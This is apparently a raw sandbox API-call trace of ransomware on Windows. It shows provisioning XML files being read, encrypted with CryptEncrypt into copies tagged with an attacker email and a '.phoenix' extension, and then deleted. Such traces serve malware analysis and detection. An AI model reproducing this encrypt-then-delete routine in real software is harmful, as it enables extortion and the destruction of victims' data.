	[0226.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.855] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=599) returned 1
	[0226.855] CloseHandle (hObject=0x2e8) returned 1
	[0226.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml")) returned 0x20
	[0226.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.855] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.855] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0227.014] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0227.014] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0227.014] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x257, lpOverlapped=0x0) returned 1
	[0227.015] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x260, dwBufLen=0x260 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x260) returned 1
	[0227.015] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x260, lpOverlapped=0x0) returned 1
	[0227.019] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0227.019] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0227.019] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0227.019] CryptDestroyKey (hKey=0x151440) returned 1
	[0227.019] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0227.019] CryptDestroyKey (hKey=0x151180) returned 1
	[0227.019] CloseHandle (hObject=0x2e8) returned 1
	[0227.019] CloseHandle (hObject=0x2c0) returned 1
	[0227.020] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml")) returned 1
	[0227.021] SetEvent (hEvent=0x298) returned 1
	[0227.021] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0227.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.224] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0227.224] CloseHandle (hObject=0x2d8) returned 1
	[0227.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml")) returned 0x20
	[0227.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.225] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0227.225] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0227.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0227.226] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0227.226] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0227.226] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0227.230] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0227.230] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0227.231] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0227.231] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0227.231] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0227.231] CryptDestroyKey (hKey=0x151380) returned 1
	[0227.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0227.359] CryptDestroyKey (hKey=0x151080) returned 1
	[0227.359] CloseHandle (hObject=0x2d8) returned 1
	[0227.359] CloseHandle (hObject=0x2f4) returned 1
	[0227.360] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml")) returned 1
	[0227.361] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0227.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.784] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0227.784] CloseHandle (hObject=0x2e4) returned 1
	[0227.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml")) returned 0x20
	[0227.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0227.788] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0227.789] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0227.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0227.790] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151680) returned 1
	[0227.790] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0227.790] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0227.791] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0227.791] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0227.792] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0227.792] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0227.792] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0227.792] CryptDestroyKey (hKey=0x151080) returned 1
	[0227.792] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0227.953] CryptDestroyKey (hKey=0x151680) returned 1
	[0227.953] CloseHandle (hObject=0x2e4) returned 1
	[0227.953] CloseHandle (hObject=0x2c8) returned 1
	[0227.996] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml")) returned 1
	[0228.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.318] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2138) returned 1
	[0228.318] CloseHandle (hObject=0x2d4) returned 1
	[0228.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml")) returned 0x20
	[0228.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.318] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.319] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.319] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0228.319] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.319] ReadFile (in: hFile=0x2d4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x85a, lpOverlapped=0x0) returned 1
	[0228.346] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x860, dwBufLen=0x860 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x860) returned 1
	[0228.346] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x860, lpOverlapped=0x0) returned 1
	[0228.347] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
	[0228.347] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.347] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0228.347] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0228.347] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0228.347] CryptDestroyKey (hKey=0x151200) returned 1
	[0228.347] CloseHandle (hObject=0x2d4) returned 1
	[0228.347] CloseHandle (hObject=0x2c8) returned 1
	[0228.348] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml")) returned 1
	[0228.348] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0228.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.349] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=251) returned 1
	[0228.349] CloseHandle (hObject=0x2c8) returned 1
	[0228.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml")) returned 0x20
	[0228.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.349] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.349] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0228.349] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.350] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0228.350] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.350] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfb, lpOverlapped=0x0) returned 1
	[0228.351] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0228.351] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0228.352] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0228.352] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0228.352] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0228.352] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0228.352] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0228.352] CryptDestroyKey (hKey=0x151440) returned 1
	[0228.352] CloseHandle (hObject=0x2c8) returned 1
	[0228.353] CloseHandle (hObject=0x2d4) returned 1
	[0228.355] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml")) returned 1
	[0228.357] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
